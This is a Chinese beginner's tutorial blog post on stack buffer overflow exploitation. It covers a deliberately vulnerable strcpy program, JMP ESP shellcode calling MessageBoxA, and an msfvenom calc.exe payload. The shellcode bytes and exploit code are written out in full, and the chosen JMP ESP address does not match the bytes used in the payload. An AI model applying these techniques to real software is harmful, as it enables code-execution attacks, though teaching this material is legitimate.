网络安全(超级详细)零基础带你一步一步走进缓冲区溢出漏洞和shellcode编写!

服务器

浏览数:226

2019-9-11


零基础带你走进缓冲区溢出,编写shellcode

写在前面的话:本人是以一个零基础者角度来带着大家去理解缓冲区溢出漏洞,当然如果你是开发者更好。

注:如果有转载请注明出处!创作不易、谢谢合作。

0、环境搭建:

本次实验所用到的工具有:

x32dbg:一个基于qt开发的、开源调试器。

ghidra:美国NSA国家安全局用的反汇编静态分析工具。如果你对IDA熟悉也可以用IDA。(链接在国内无法访问,怎么访问你懂的。)

visual C++ 6.0:一个微软的编译器。用其他的C++编译器只要取消编译优化即可。

1、一个有漏洞的小程序:

在C语言里面的string标准库中,有这么一个著名的strcpy函数,这个strcpy函数的作用就是将字符串数组拷贝到指定的位置。

但是,再拷贝之前并没有对字符串的长度进行检测!!

如果这个字符串过长的话就会覆盖相邻的内存。造成缓冲区栈溢出!

我们的这个漏洞小程序如下所示:

#include "stdio.h"
#include "string.h"
char payload[] = "aaaaaaaa";
int main()
{
 char buffer[8];
 strcpy(buffer, payload);
 printf("%s",buffer);
 getchar();
 return 0;
}

功能很简单,就是将payload中的字符串拷贝进buffer数组中,并打印出来。

注意此时buffer的大小为8.

运行结果如下。

程序完美运行,但是这个程序真的没问题吗?

 我们接着往下看:

2、字符串长了!

代码如下所示:

#include "stdio.h"
#include "string.h"
char payload[] = "aaaaaaaaEBPX";
int main()
{
 char buffer[8];
 strcpy(buffer, payload);
 printf("%s",buffer);
 getchar();
 return 0;
}

在这里我们加长了payload的长度,大家可以看到,程序还是完美的运行了,。

因为笔者的电脑是Win10系统,因此系统不会给你进行报错,而是智能的进行了异常处理。所以我们接下来进入调试环节!

首先我们用ghidra打开我们刚才写好的程序。

找到我们刚才定义函数在传递参数的时候如下:

 

不懂汇编没事。你只要看到push 一堆东西,+call 一个东西,那就是在调用函数!

看到了具体的调用位置,我们打开x32dbg 然后定位到该地址进行分析。

 

这里我们跳到call的位置,然后用F9执行到这里。

注意此时箭头所指的俩个位置

上面的所指的是父函数的EBP地址。

下面所指的就是函数要返回的地址。

这时我们让程序继续执行。

当我们单步执行过之后,我们会发现,这个程序因为缓冲区被冲破,所以父函数EBP被覆盖了,也就是造成了缓冲区溢出。

那么我们需要思考,是否可以把字符串加长,然后把返回地址给覆盖了呢?答案当然是可以的。

这样的话,程序就会执行我们的代码了!

但是如何把我们想执行的代码递给程序执行呢?

三、JMP_ESP方法编写shellcode

思路:我们需要寻找电脑中可利用的动态链接库中可以用的指令,这样的话,我们就可以执行我们想要的指令了。

但是这种指令不一定适合我们,如果没有对应的函数怎么办

这时候有个非常出名的方法,叫JMP_ESP,他会执行栈中的代码,也就是说我们只要把shellcode放在字符串内就行。

首先我们需要在电脑中寻找JMP_ESP函数!

代码如下:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main()
{
        BYTE *ptr;
        int position;
        HINSTANCE handle;
        BOOL done_flag = FALSE;
        handle = LoadLibrary("user32.dll");
        if(!handle)
        {
                printf("load dll error!");
                exit(0);
        }
        ptr = (BYTE*)handle;

        for(position = 0; !done_flag; position++)
        {
                try
                {
                        if(ptr[position]==0xFF && ptr[position+1]==0xE4)
                        {
                                int address = (int)ptr + position;
                                printf("OPCODE found at 0x%x\n", address);
                        }
                }
                catch(...)
                {
                        int address = (int)ptr + position;
                        printf("END OF 0x%x\n", address);
                        done_flag = true;
                }
        }
  getchar();
        return 0;
}

运行结果如上,我们随便挑选一个地址即可使用。

 因为我们需要可视化的效果,所以我们挑选一个弹出一个对话框的方法来使我们可视化。

弹窗地址寻找的代码如下:

#include<windows.h>
#include<stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main(){
    HINSTANCE LibHandle;
    MYPROC ProcAdd;
    LibHandle = LoadLibrary("user32");
    printf("user32 = 0x%x\n",LibHandle);
    ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA");
    printf("MessageBoxA = 0x%x\n",ProcAdd);
    getchar();
    return 0;
}

运行结果如下:

接下来我们要寻找能使程序正常退出的函数,代码如下:

#include<windows.h>
#include<stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main(){
    HINSTANCE LibHandle;
    MYPROC ProcAdd;
    LibHandle = LoadLibrary("kernel32");
    printf("kernel32 = 0x%x\n",LibHandle);
    ProcAdd=(MYPROC)GetProcAddress(LibHandle,"ExitProcess");
    printf("ExitProcess = 0x%x\n",ProcAdd);
    getchar();
    return 0;
}

运行结果如下:

四、使用x64dbg提取shellcode

笔者在这里挑选三个地址为:

jmp esp: 0x74a99be9 //JMP ESP 使EIP跳转到shellcode执行
msgbox: 0x74991f70 //shellcode执行弹出对话框
exitprocess:0x75cd4b80 //使程序正常退出

在这里我是用内联汇编的方法来编写shellcode

代码如下:

#include "windows.h"
int main(){
    LoadLibrary("user32.dll");     //因为调用了user32中的函数,所以需要加载user32,之所以选择user32加载是因为几乎所有win32应用都会加载这个库。
    _asm{             //内联汇编
        sub esp,0x50    //为了使 shellcode 具有较强的通用性,我们通常会在 shellcode 一开始就大范围抬高栈顶,把 shellcode“藏”在栈内,从而达到保护自身安全的目的
        xor ebx,ebx    //将ebx清0
        push ebx        //ebx入栈
        push 0x2020206f
        push 0x6c6c6568   //push "hello" 字符串的ascii码当作标题  小端书写  push的时候不够的话用20填
        mov eax,esp    //将hello标题赋给eax
        push ebx        //ebx压栈   将俩个字符串断开
        push 0x2020206f
        push 0x6c6c6568   //push "hello" 字符串当作内容
        mov ecx,esp    //将内容赋给ecx

        push ebx    //messagebox 的第4个参数
        push eax    //messagebox 的第3个参数
        push ecx  //messagebox的第2个参数
        push ebx  //messagebox的第1个参数

        mov eax,0x74991f70 //msg
        call eax    //调用msg

        push ebx    //向栈内压入0
        mov eax,0x75cd4b80 //将exit函数地址赋给eax
        call eax//调用exit函数
    }
    return 0;
}

然后用x64dbg打开后结果如下:

 提取后如下:

0040103C | 83EC 50                  | sub esp,50                              |
0040103F | 33DB                     | xor ebx,ebx                             |
00401041 | 53                       | push ebx                                |
00401042 | 68 6F202020              | push 2020206F                           |
00401047 | 68 68656C6C              | push 6C6C6568                           |
0040104C | 8BC4                     | mov eax,esp                             |
0040104E | 53                       | push ebx                                |
0040104F | 68 6F202020              | push 2020206F                           |
00401054 | 68 68656C6C              | push 6C6C6568                           |
00401059 | 8BCC                     | mov ecx,esp                             | ecx:EntryPoint
0040105B | 53                       | push ebx                                |
0040105C | 50                       | push eax                                |
0040105D | 51                       | push ecx                                | ecx:EntryPoint
0040105E | 53                       | push ebx                                |
0040105F | B8 701F9974              | mov eax,74991F70                        |
00401064 | FFD0                     | call eax                                |
00401066 | 53                       | push ebx                                |
00401067 | B8 804BCD75              | mov eax,<kernel32.ExitProcess>          |
0040106C | FFD0                     | call eax                                |

我们去掉乱八七糟的东西后,进行整理如下:

\x33\xDB
\x53
\x68\x6F\x20\x20\x20
\x68\x68\x65\x6C\x6C
\x8B\xC4
\x53
\x68\x6F\x20\x20\x20
\x68\x68\x65\x6C\x6C
\x8B\xCC
\x53
\x50
\x51
\x53
\xB8\x70\x1F\x99\x74
\xFF\xD0
\x53
\xB8\x80\x4B\xCD\x75
\xFF\xD0

然后我们加上引号

"\xe9\xe5\xa9\x74"
"\x33\xDB"
"\x53"
"\x68\x6F\x20\x20\x20"
"\x68\x68\x65\x6C\x6C"
"\x8B\xC4"
"\x53"
"\x68\x6F\x20\x20\x20"
"\x68\x68\x65\x6C\x6C"
"\x8B\xCC"
"\x53"
"\x50"
"\x51"
"\x53"
"\xB8\x70\x1F\x99\x74"
"\xFF\xD0"
"\x53"
"\xB8\x80\x4B\xCD\x75"
"\xFF\xD0"

OK!大功告成!

五、程序运行结果!

完整程序代码如下:

#include<stdio.h>
#include<windows.h>
char payload[]="aaaaaaaaebxx\xe9\xe5\xa9\x74\x33\xDB\x53\x68\x6F\x20\x20\x20\x68\x68\x65\x6C\x6C\x8B\xC4\x53\x68\x6F\x20\x20\x20\x68\x68\x65\x6C\x6C\x8B\xCC\x53\x50\x51\x53\xB8\x70\x1F\x99\x74\xFF\xD0\x53\xB8\x80\x4B\xCD\x75\xFF\xD0";
int main()
{
 LoadLibrary("user32.dll");
 char buffer[8];
 strcpy(buffer,payload);
 printf("%s",buffer);
 getchar();
 return 0;
}

执行后如下所示:

六、如何0基础几分钟学会编写shellcode?

使用msf即可。把这个代码记着就会了(笑)。

msfvenom -p windows/exec cmd=calc.exe -f c

体验下~:

unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
int main()
{    
    _asm{
        lea eax,buf
            push eax
            ret
    }
    return 0;
}

执行后如上所示。

PS:笔者在B站做了一次完整的视频!如下操作均可在https://www.bilibili.com/video/av48022107

这里看到!码字不易!希望大家能够喜欢!

作者:秃桔子